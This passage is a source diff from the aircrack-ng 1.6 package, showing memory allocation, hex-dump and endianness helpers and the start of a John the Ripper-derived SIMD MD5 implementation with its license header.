+		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
+		perror("mem_calloc");
+	}
+
+	return res;
+}
+
+/*
+ * if -DDEBUG we turn mem_alloc_tiny() to essentially be just a malloc()
+ * with additional alignment. The reason for this is it's way easier to
+ * trace bugs that way.
+ * Also, with -DDEBUG or -DMEMDBG we always return exactly the requested
+ * alignment, in order to trigger bugs!
+ */
+#ifdef DEBUG
+#undef MEM_ALLOC_SIZE
+#define MEM_ALLOC_SIZE 0
+#endif
+void * mem_alloc_tiny_func(size_t size,
+						   size_t align
+#if defined(MEMDBG_ON)
+						   ,
+						   char * file,
+						   int line
+#endif
+						   )
+{
+	static char * buffer = NULL;
+	static size_t bufree = 0;
+	size_t mask;
+	char * p;
+
+#if defined(DEBUG) || defined(MEMDBG)
+	size += align;
+#endif
+#ifdef DEBUG
+	/*
+	 * We may be called with size zero, for example from ldr_load_pw_line()
+	 * that calls mem_alloc_copy() with format->params.salt_size as size.
+	 * This causes problems with -DDEBUG without this fix because we never
+	 * get out of the while loop when MEM_ALLOC_SIZE is zero too. The
+	 * previous fix for this was returning NULL but that lead to other
+	 * problems that I did not bother digging into. This fix should be
+	 * 100% safe.
+	 */
+	if (size == 0) size = 1;
+#endif
+
+#if ARCH_ALLOWS_UNALIGNED
+	if (mem_saving_level > 2 && align < MEM_ALIGN_SIMD) align = MEM_ALIGN_NONE;
+#endif
+
+	mask = align - 1;
+
+	do
+	{
+		if (buffer)
+		{
+			size_t need = size + mask - (((size_t) buffer + mask) & mask);
+			if (bufree >= need)
+			{
+				p = buffer;
+				p += mask;
+				p -= (size_t) p & mask;
+				bufree -= need;
+				buffer = p + size;
+#if defined(DEBUG) || defined(MEMDBG)
+				/* Ensure alignment is no better than requested */
+				if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
+#endif
+				return p;
+			}
+		}
+
+		if (size + mask > MEM_ALLOC_SIZE || bufree > MEM_ALLOC_MAX_WASTE) break;
+#if defined(MEMDBG_ON)
+		buffer = (char *) mem_alloc_func(MEM_ALLOC_SIZE, file, line);
+#else
+		buffer = (char *) mem_alloc(MEM_ALLOC_SIZE);
+#endif
+		add_memory_link((void *) buffer);
+		bufree = MEM_ALLOC_SIZE;
+	} while (1);
+
+#if defined(MEMDBG_ON)
+	p = (char *) mem_alloc_func(size + mask, file, line);
+#else
+	p = (char *) mem_alloc(size + mask);
+#endif
+	if (p == NULL) abort();
+	add_memory_link((void *) p);
+	p += mask;
+	p -= (size_t) p & mask;
+#if defined(DEBUG) || defined(MEMDBG)
+	/* Ensure alignment is no better than requested */
+	if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
+#endif
+	return p;
+}
+
+void * mem_calloc_tiny_func(size_t size,
+							size_t align
+#if defined(MEMDBG_ON)
+							,
+							char * file,
+							int line
+#endif
+							)
+{
+#if defined(MEMDBG_ON)
+	char * cp = (char *) mem_alloc_tiny_func(size, align, file, line);
+#else
+	char * cp = (char *) mem_alloc_tiny(size, align);
+#endif
+	memset(cp, 0, size);
+	return cp;
+}
+
+void * mem_alloc_copy_func(void * src,
+						   size_t size,
+						   size_t align
+#if defined(MEMDBG_ON)
+						   ,
+						   char * file,
+						   int line
+#endif
+						   )
+{
+#if defined(MEMDBG_ON)
+	return memcpy(mem_alloc_tiny_func(size, align, file, line), src, size);
+#else
+	return memcpy(mem_alloc_tiny(size, align), src, size);
+#endif
+}
+
+void * mem_alloc_align_func(size_t size,
+							size_t align
+#if defined(MEMDBG_ON)
+							,
+							char * file,
+							int line
+#endif
+							)
+{
+	void * ptr = NULL;
+#if defined(MEMDBG_ON)
+	ptr = (char *) MEMDBG_alloc_align(size, align, file, line);
+#elif HAVE_POSIX_MEMALIGN
+	if (posix_memalign(&ptr, align, size)) pexit("posix_memalign");
+#elif HAVE_ALIGNED_ALLOC
+	/* According to the Linux man page, "size should be a multiple of
+	   alignment", whatever they mean with "should"... This does not
+	   make any sense whatsoever but we round it up to comply. */
+	size = ((size + (align - 1)) / align) * align;
+	if (!(ptr = aligned_alloc(align, size))) pexit("aligned_alloc");
+#elif HAVE_MEMALIGN
+/* Let's just pray this implementation can actually free it */
+#if defined(__sparc__) || defined(__sparc) || defined(sparc)                   \
+	|| defined(__sparcv9)
+	if (!(ptr = memalign(align, size)))
+#else
+	if (!(ptr = memalign(&ptr, align, size)))
+#endif
+		perror("memalign");
+#elif HAVE___MINGW_ALIGNED_MALLOC
+	if (!(ptr = __mingw_aligned_malloc(size, align)))
+		perror("__mingw_aligned_malloc");
+#elif HAVE__ALIGNED_MALLOC
+	if (!(ptr = _aligned_malloc(size, align))) perror("aligned_malloc");
+
+#elif AC_BUILT
+#error No suitable aligned alloc found, please report to john-dev mailing list (state your OS details).
+
+/* we need an aligned alloc function for legacy builds */
+#elif _ISOC11_SOURCE
+	size = ((size + (align - 1)) / align) * align;
+	if (!(ptr = aligned_alloc(align, size))) perror("aligned_alloc");
+#else
+	if (posix_memalign(&ptr, align, size)) perror("posix_memalign");
+#endif
+	return ptr;
+}
+
+void * mem_calloc_align_func(size_t count,
+							 size_t size,
+							 size_t align
+#if defined(MEMDBG_ON)
+							 ,
+							 char * file,
+							 int line
+#endif
+							 )
+{
+#if defined(MEMDBG_ON)
+	void * ptr = mem_alloc_align_func(size * count, align, file, line);
+#else
+	void * ptr = mem_alloc_align_func(size * count, align);
+#endif
+
+	memset(ptr, 0, size * count);
+	return ptr;
+}
+
+char * str_alloc_copy_func(char * src
+#if defined(MEMDBG_ON)
+						   ,
+						   char * file,
+						   int line
+#endif
+						   )
+{
+	size_t size;
+
+	if (!src) return "";
+	if (!*src) return "";
+
+	size = strlen(src) + 1;
+#if defined(MEMDBG_ON)
+	return (char *) memcpy(
+		mem_alloc_tiny_func(size, MEM_ALIGN_NONE, file, line), src, size);
+#else
+	return (char *) memcpy(mem_alloc_tiny(size, MEM_ALIGN_NONE), src, size);
+#endif
+}
+
+void dump_text(void * in, int len)
+{
+	unsigned char * p = (unsigned char *) in;
+
+	while (len--)
+	{
+		fputc(isprint(*p) ? *p : '.', stdout);
+		p++;
+	}
+	fputc('\n', stdout);
+}
+
+void dump_stuff_noeol(void * x, unsigned int size)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) x)[i]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff(void * x, unsigned int size)
+{
+	dump_stuff_noeol(x, size);
+	printf("\n");
+}
+void dump_stuff_msg(const void * msg, void * x, unsigned int size)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff(x, size);
+}
+void dump_stuff_msg_sepline(const void * msg, void * x, unsigned int size)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff(x, size);
+}
+
+void dump_stuff_be_noeol(void * x, unsigned int size)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) x)[i ^ 3]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff_be(void * x, unsigned int size)
+{
+	dump_stuff_be_noeol(x, size);
+	printf("\n");
+}
+void dump_stuff_be_msg(const void * msg, void * x, unsigned int size)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_be(x, size);
+}
+void dump_stuff_be_msg_sepline(const void * msg, void * x, unsigned int size)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff_be(x, size);
+}
+
+void alter_endianity(void * _x, unsigned int size)
+{
+	ARCH_WORD_32 * x = (ARCH_WORD_32 *) _x;
+
+	// size is in octets
+	size >>= 2;
+
+#if !ARCH_ALLOWS_UNALIGNED
+	if (is_aligned(x, sizeof(ARCH_WORD_32)))
+	{
+#endif
+		while (size--)
+		{
+			*x = JOHNSWAP(*x);
+			x++;
+		}
+#if !ARCH_ALLOWS_UNALIGNED
+	}
+	else
+	{
+		unsigned char *cpX, c;
+
+		cpX = (unsigned char *) x;
+		while (size--)
+		{
+			c = *cpX;
+			*cpX = cpX[3];
+			cpX[3] = c;
+			c = cpX[1];
+			cpX[1] = cpX[2];
+			cpX[2] = c;
+			cpX += 4;
+		}
+	}
+#endif
+}
+
+#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined(SIMD_PARA_MD5)      \
+	|| defined(SIMD_PARA_MD4) || defined(SIMD_PARA_SHA1)
+#ifndef SIMD_COEF_32
+#define SIMD_COEF_32 4
+#endif
+#ifndef SIMD_COEF_64
+#define SIMD_COEF_64 2
+#endif
+#ifndef SIMD_COEF_32
+#define SIMD_COEF_32 4
+#endif
+
+// These work for standard SIMD_COEF_32 buffers, AND for SSEi MMX_PARA multiple
+// SIMD_COEF_32 blocks, where index will be mod(X * SIMD_COEF_32) and not simply
+// mod(SIMD_COEF_32)
+#define SHAGETPOS(i, index)                                                    \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + (3 - ((i) &3))                                                          \
+	 + (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ * 4                   \
+		   * SIMD_COEF_32) // for endianity conversion
+#define SHAGETOUTPOS(i, index)                                                 \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + (3 - ((i) &3))                                                          \
+	 + (unsigned int) index / SIMD_COEF_32 * 20                                \
+		   * SIMD_COEF_32) // for endianity conversion
+// for MD4/MD5 or any 64 byte LE SSE interleaved hash
+#define GETPOS(i, index)                                                       \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + ((i) &3)                                                                \
+	 + (unsigned int) index / SIMD_COEF_32 * 64 * SIMD_COEF_32)
+#define GETOUTPOS(i, index)                                                    \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
+	 + ((i) &3)                                                                \
+	 + (unsigned int) index / SIMD_COEF_32 * 16 * SIMD_COEF_32)
+// for SHA384/SHA512 128 byte BE interleaved hash (arrays of 16 8 byte ints)
+#define SHA64GETPOS(i, index)                                                  \
+	((index & (SIMD_COEF_64 - 1)) * 8                                          \
+	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
+	 + (7 - ((i) &7))                                                          \
+	 + (unsigned int) index / SIMD_COEF_64 * SHA_BUF_SIZ * 8 * SIMD_COEF_64)
+#define SHA64GETOUTPOS(i, index)                                               \
+	((index & (SIMD_COEF_64 - 1)) * 8                                          \
+	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
+	 + (7 - ((i) &7))                                                          \
+	 + (unsigned int) index / SIMD_COEF_64 * 64 * SIMD_COEF_64)
+
+// for SHA384/SHA512 128 byte FLAT interleaved hash (arrays of 16 8 byte ints),
+// but we do not BE interleave.
+#define SHA64GETPOSne(i, index)                                                \
+	((index & (SIMD_COEF_64 - 1)) * 8                                          \
+	 + ((i) & (0xffffffff - 7)) * SIMD_COEF_64                                 \
+	 + ((i) &7)                                                                \
+	 + (unsigned int) index / SIMD_COEF_64 * SHA_BUF_SIZ * 8 * SIMD_COEF_64)
+
+void dump_stuff_mmx_noeol(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[GETPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff_mmx(void * buf, unsigned int size, unsigned int index)
+{
+	dump_stuff_mmx_noeol(buf, size, index);
+	printf("\n");
+}
+void dump_stuff_mmx_msg(const void * msg,
+						void * buf,
+						unsigned int size,
+						unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_mmx(buf, size, index);
+}
+void dump_stuff_mmx_msg_sepline(const void * msg,
+								void * buf,
+								unsigned int size,
+								unsigned int index)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff_mmx(buf, size, index);
+}
+void dump_out_mmx_noeol(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[GETOUTPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_out_mmx(void * buf, unsigned int size, unsigned int index)
+{
+	dump_out_mmx_noeol(buf, size, index);
+	printf("\n");
+}
+void dump_out_mmx_msg(const void * msg,
+					  void * buf,
+					  unsigned int size,
+					  unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_out_mmx(buf, size, index);
+}
+void dump_out_mmx_msg_sepline(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index)
+{
+	printf("%s :\n", (char *) msg);
+	dump_out_mmx(buf, size, index);
+}
+
+#if defined(SIMD_PARA_MD5)
+#define GETPOSMPARA(i, index)                                                  \
+	((index & (SIMD_COEF_32 - 1)) * 4                                          \
+	 + (((i) & (0xffffffff - 3)) % 64) * SIMD_COEF_32                          \
+	 + (i / 64) * SIMD_COEF_32 * SIMD_PARA_MD5 * 64                            \
+	 + ((i) &3)                                                                \
+	 + (unsigned int) index / SIMD_COEF_32 * 64 * SIMD_COEF_32)
+// multiple para blocks
+void dump_stuff_mpara_mmx_noeol(void * buf,
+								unsigned int size,
+								unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[GETPOSMPARA(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+}
+void dump_stuff_mpara_mmx(void * buf, unsigned int size, unsigned int index)
+{
+	dump_stuff_mpara_mmx_noeol(buf, size, index);
+	printf("\n");
+}
+// obuf has to be at lease size long.  This function will unwind the SSE-para
+// buffers into a flat.
+void getbuf_stuff_mpara_mmx(unsigned char * oBuf,
+							void * buf,
+							unsigned int size,
+							unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+		*oBuf++ = ((unsigned char *) buf)[GETPOSMPARA(i, index)];
+}
+void dump_stuff_mpara_mmx_msg(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_mpara_mmx(buf, size, index);
+}
+void dump_stuff_mpara_mmx_msg_sepline(const void * msg,
+									  void * buf,
+									  unsigned int size,
+									  unsigned int index)
+{
+	printf("%s :\n", (char *) msg);
+	dump_stuff_mpara_mmx(buf, size, index);
+}
+#endif
+
+void dump_stuff_shammx(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHAGETPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_stuff_shammx_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_shammx(buf, size, index);
+}
+void dump_out_shammx(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHAGETOUTPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_out_shammx_msg(const void * msg,
+						 void * buf,
+						 unsigned int size,
+						 unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_out_shammx(buf, size, index);
+}
+
+void dump_stuff_shammx64(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHA64GETPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_stuff_shammx64_msg(const void * msg,
+							 void * buf,
+							 unsigned int size,
+							 unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_shammx64(buf, size, index);
+}
+void dump_stuff_mmx64(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHA64GETPOSne(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_stuff_mmx64_msg(const void * msg,
+						  void * buf,
+						  unsigned int size,
+						  unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_stuff_mmx64(buf, size, index);
+}
+
+void dump_out_shammx64(void * buf, unsigned int size, unsigned int index)
+{
+	unsigned int i;
+	for (i = 0; i < size; i++)
+	{
+		printf("%.2x", ((unsigned char *) buf)[SHA64GETOUTPOS(i, index)]);
+		if ((i % 4) == 3) printf(" ");
+	}
+	printf("\n");
+}
+void dump_out_shammx64_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index)
+{
+	printf("%s : ", (char *) msg);
+	dump_out_shammx64(buf, size, index);
+}
+#endif
+
+void alter_endianity_w(void * _x, unsigned int count)
+{
+	int i = -1;
+	ARCH_WORD_32 * x = (ARCH_WORD_32 *) _x;
+#if ARCH_ALLOWS_UNALIGNED
+	while (++i < (int) count)
+	{
+		x[i] = JOHNSWAP(x[i]);
+	}
+#else
+	unsigned char *cpX, c;
+	if (is_aligned(x, sizeof(ARCH_WORD_32)))
+	{
+		// we are in alignment.
+		while (++i < (int) count)
+		{
+			x[i] = JOHNSWAP(x[i]);
+		}
+		return;
+	}
+	// non-aligned data :(
+	cpX = (unsigned char *) x;
+	while (++i < (int) count)
+	{
+		c = *cpX;
+		*cpX = cpX[3];
+		cpX[3] = c;
+		c = cpX[1];
+		cpX[1] = cpX[2];
+		cpX[2] = c;
+		cpX += 4;
+	}
+#endif
+}
+
+void alter_endianity_w64(void * _x, unsigned int count)
+{
+	int i = -1;
+	ARCH_WORD_64 * x = (ARCH_WORD_64 *) _x;
+#if ARCH_ALLOWS_UNALIGNED
+	while (++i < (int) count)
+	{
+		x[i] = JOHNSWAP64(x[i]);
+	}
+#else
+	unsigned char *cpX, c;
+	if (is_aligned(x, sizeof(ARCH_WORD_64)))
+	{
+		// we are in alignment.
+		while (++i < (int) count)
+		{
+			x[i] = JOHNSWAP64(x[i]);
+		}
+		return;
+	}
+	// non-aligned data :(
+	cpX = (unsigned char *) x;
+	while (++i < (int) count)
+	{
+		c = *cpX;
+		*cpX = cpX[7];
+		cpX[7] = c;
+		c = cpX[1];
+		cpX[1] = cpX[6];
+		cpX[6] = c;
+		c = cpX[2];
+		cpX[2] = cpX[5];
+		cpX[5] = c;
+		c = cpX[3];
+		cpX[3] = cpX[4];
+		cpX[4] = c;
+		cpX += 8;
+	}
+#endif
+}

aircrack-ng-1.6.tar.gz/lib/ce-wpa/simd-intrinsics.c Added

@@ -0,0 +1,3000 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This software is
+ * Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
+ * Copyright (c) 2012 Solar Designer,
+ * Copyright (c) 2011-2015 JimF,
+ * Copyright (c) 2011-2015 magnum,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary
+ * forms, with or without modification, are permitted provided that
+ * redistribution of source retains the above copyright.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <assert.h>
+#include <string.h>
+#include <stdint.h>
+
+#include "aircrack-ng/ce-wpa/arch.h"
+#include "aircrack-ng/ce-wpa/pseudo_intrinsics.h"
+#include "aircrack-ng/ce-wpa/memory.h"
+#include "aircrack-ng/ce-wpa/johnswap.h"
+#include "aircrack-ng/ce-wpa/simd-intrinsics-load-flags.h"
+#include "aircrack-ng/ce-wpa/aligned.h"
+#include "aircrack-ng/ce-wpa/misc.h"
+#include "aircrack-ng/ce-wpa/memdbg.h"
+
+/* Shorter names for use in index calculations */
+#define VS32 SIMD_COEF_32
+#define VS64 SIMD_COEF_64
+
+#if SIMD_PARA_MD5
+#define MD5_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_MD5)
+#define MD5_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_MD5; (x)++)
+
+#define MD5_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
+
+#define MD5_G(x, y, z) tmp[i] = vcmov((x[i]), (y[i]), (z[i]));
+
+#if __AVX512F__
+#define MD5_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+
+#define MD5_H2(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+#elif 1
+#define MD5_H(x, y, z)                                                         \
+	tmp2[i] = vxor((x[i]), (y[i]));                                            \
+	tmp[i] = vxor(tmp2[i], (z[i]));
+
+#define MD5_H2(x, y, z) tmp[i] = vxor((x[i]), tmp2[i]);
+#else
+#define MD5_H(x, y, z)                                                         \
+	tmp[i] = vxor((x[i]), (y[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (z[i]));
+
+#define MD5_H2(x, y, z)                                                        \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (x[i]));
+#endif
+
+#if __AVX512F__
+#define MD5_I(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x39);
+#elif __ARM_NEON__
+#define MD5_I(x, y, z)                                                         \
+	tmp[i] = vorn((x[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (y[i]));
+#elif !VCMOV_EMULATED
+#define MD5_I(x, y, z)                                                         \
+	tmp[i] = vcmov((x[i]), mask, (z[i]));                                      \
+	tmp[i] = vxor((tmp[i]), (y[i]));
+#else
+#define MD5_I(x, y, z)                                                         \
+	tmp[i] = vandnot((z[i]), mask);                                            \
+	tmp[i] = vor((tmp[i]), (x[i]));                                            \
+	tmp[i] = vxor((tmp[i]), (y[i]));
+#endif
+
+#define MD5_STEP(f, a, b, c, d, x, t, s)                                       \
+	MD5_PARA_DO(i)                                                             \
+	{                                                                          \
+		a[i] = vadd_epi32(a[i], vset1_epi32(t));                               \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vroti_epi32(a[i], (s));                                         \
+		a[i] = vadd_epi32(a[i], b[i]);                                         \
+	}
+
+#define MD5_STEP_r16(f, a, b, c, d, x, t, s)                                   \
+	MD5_PARA_DO(i)                                                             \
+	{                                                                          \
+		a[i] = vadd_epi32(a[i], vset1_epi32(t));                               \
+		a[i] = vadd_epi32(a[i], data[i * 16 + x]);                             \
+		f((b), (c), (d)) a[i] = vadd_epi32(a[i], tmp[i]);                      \
+		a[i] = vroti16_epi32(a[i], (s));                                       \
+		a[i] = vadd_epi32(a[i], b[i]);                                         \
+	}
+
+#define INIT_A 0x67452301
+
+void md5_reverse(uint32_t * hash) { hash[0] -= INIT_A; }
+
+void md5_unreverse(uint32_t * hash) { hash[0] += INIT_A; }
+
+#undef INIT_A
+
+void SIMDmd5body(vtype * _data,
+				 unsigned int * out,
+				 ARCH_WORD_32 * reload_state,
+				 unsigned SSEi_flags)
+{
+	vtype w[16 * SIMD_PARA_MD5];
+	vtype a[SIMD_PARA_MD5];
+	vtype b[SIMD_PARA_MD5];
+	vtype c[SIMD_PARA_MD5];
+	vtype d[SIMD_PARA_MD5];
+	vtype tmp[SIMD_PARA_MD5];
+#if !__AVX512F__
+	vtype tmp2[SIMD_PARA_MD5];
+#endif
+	unsigned int i;
+	vtype * data;
+
+#if !__AVX512F__ && !__ARM_NEON__
+	vtype mask;
+	mask = vset1_epi32(0xffffffff);
+#endif
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+// Move _data to __data, mixing it SIMD_COEF_32 wise.
+#if __SSE4_1__ || __MIC__
+		unsigned k;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD5_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_4x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER_2x(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 16; ++i)
+				{
+					GATHER(W[i], saved_key, i);
+				}
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#else
+		unsigned j, k;
+		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		MD5_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			W += 16;
+		}
+#endif
+		// now set our data pointer to point to this 'mixed' data.
+		data = w;
+	}
+	else
+		data = _data;
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD5_PARA_DO(i)
+		{
+			a[i] = vset1_epi32(0x67452301);
+			b[i] = vset1_epi32(0xefcdab89);
+			c[i] = vset1_epi32(0x98badcfe);
+			d[i] = vset1_epi32(0x10325476);
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+			}
+		}
+		else
+		{
+			MD5_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]);
+			}
+		}
+	}
+
+	/* Round 1 */
+	MD5_STEP(MD5_F, a, b, c, d, 0, 0xd76aa478, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 1, 0xe8c7b756, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 2, 0x242070db, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 3, 0xc1bdceee, 22)
+	MD5_STEP(MD5_F, a, b, c, d, 4, 0xf57c0faf, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 5, 0x4787c62a, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 6, 0xa8304613, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 7, 0xfd469501, 22)
+	MD5_STEP(MD5_F, a, b, c, d, 8, 0x698098d8, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 9, 0x8b44f7af, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 10, 0xffff5bb1, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 11, 0x895cd7be, 22)
+	MD5_STEP(MD5_F, a, b, c, d, 12, 0x6b901122, 7)
+	MD5_STEP(MD5_F, d, a, b, c, 13, 0xfd987193, 12)
+	MD5_STEP(MD5_F, c, d, a, b, 14, 0xa679438e, 17)
+	MD5_STEP(MD5_F, b, c, d, a, 15, 0x49b40821, 22)
+
+	/* Round 2 */
+	MD5_STEP(MD5_G, a, b, c, d, 1, 0xf61e2562, 5)
+	MD5_STEP(MD5_G, d, a, b, c, 6, 0xc040b340, 9)
+	MD5_STEP(MD5_G, c, d, a, b, 11, 0x265e5a51, 14)
